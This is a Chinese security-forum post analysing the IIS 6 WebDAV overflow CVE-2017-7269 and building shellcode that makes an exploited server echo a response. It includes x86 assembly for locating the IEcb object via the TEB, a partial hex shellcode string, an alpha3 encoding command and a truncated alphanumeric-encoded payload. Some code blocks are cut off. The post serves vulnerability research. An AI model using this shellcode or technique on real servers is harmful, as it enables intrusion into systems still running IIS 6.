CVE-2017-7269回显PoC解析

lcatro / 2017-04-05 01:31:00 / 浏览数 4774 安全技术 漏洞分析 顶(0) 踩(0)

CVE-2017-7269 漏洞引发溢出漏洞,但是由于原来IIS 6 启用栈保护的,不能直接对栈上的Ret Address 进行操作,漏洞PoC 上实现的ROP 很巧妙,通过内存复制溢出修改IEcb 对象,控制IEcb 对象的地址,在ScStripAndCheckHttpProfix() 里触发虚函数调用,调到rsaenh.dll 里,此时Payload 已经改写rsaenh.dll 的内容,最后通过ROP 链获取KiFastSystemcall 利用ShareUserData ,再返回到ShellCode .现在我们针对ShellCode 开发,让IIS 6 产生回显.

IIS 创建完成容器之后,把对象传递到CDAVExt::DwMain() ,CDAVExt::DwMain() 再去解析HTTP 头部,触发漏洞.我们在分析CDAVExt::DwMain() 函数,发现IEcb 对象可以操控IIS 容器进行请求响应.

这样一来,我们只需要获取到栈上创建的IEcb 对象并且构造对虚函数的调用即可.

最后会保存到这个位置

那么难点在于,在跳到ShellCode 的时候,原堆栈已经不再ESP 和EBP 寄存器中保存

这种情况需要用到TEB 结构来获取栈信息,在TEB+4 的位置保存了栈顶的地址

于是通过栈顶与目的对象的偏移计算便可以得到该对象,下面是汇编代码

```
mov ecx,fs:[18h]
mov ecx,[ecx+4]
sub ecx,340h
mov ecx,[ecx]
```

获取到对象之后,再去得到对象的虚函数入口点

```
mov eax,[ecx]
mov eax,[eax+0A0h]
```

接下来就是函数调用构造

```
push edi
push 13
add edi,14;
push edi
push 84
call eax
```

字符串和ShellCode 保存在一起,于是还需要通过寻址的方式找到字符串

```
call 0
pop esi
mov edi,esi;
add edi,11h;  //  11h ■■■■■■■■
```

组合所有的ShellCode ,建议在VC++ 6 下编译

```
■     **asm {      int 3 // for debug      mov ecx,fs:[18h]      mov ecx,[ecx+4]      sub ecx,340h      mov ecx,[ecx]      mov
■       pop esi
■       mov edi,esi;
■       add edi,11h;
■       push edi
■       push 13
■       add edi,14;
■       push edi
■       push 84
■       call eax
■       //  ■■■■■■■■■■■■■
■       //db "CVE-2017-7269\0"
■       //db "Content-Type: text/html\r\nContent-Length:31 \r\n\r\n<body>CVE-2017-7269 Vuln</body>\0"
■     };
```

最终处理的ShellCode 如下:

```
"\xCC\x64\x8B\x0D\x18\x00\x00\x00\x8B\x49\x04\x81\xE9\x40\x03\x00\x00\x8B\x09\x8B\x01\x8B\x80\xA0\x00\x00\x00\x51\x68\xC8\x00\
```

最后使用Unicode 编码,命令如下:

```
■    alpha3.exe --nocompress --uppercase --unicode esi
```

得到最终ShellCode

```
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB
```

```
--  HT team.
```


上一篇：CVE20177269IIS60远... 下一篇：Mimipenguin：读取当前登...

1. 1 条回复


hades 2017-04-05 01:49:13

辛苦了 哈

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板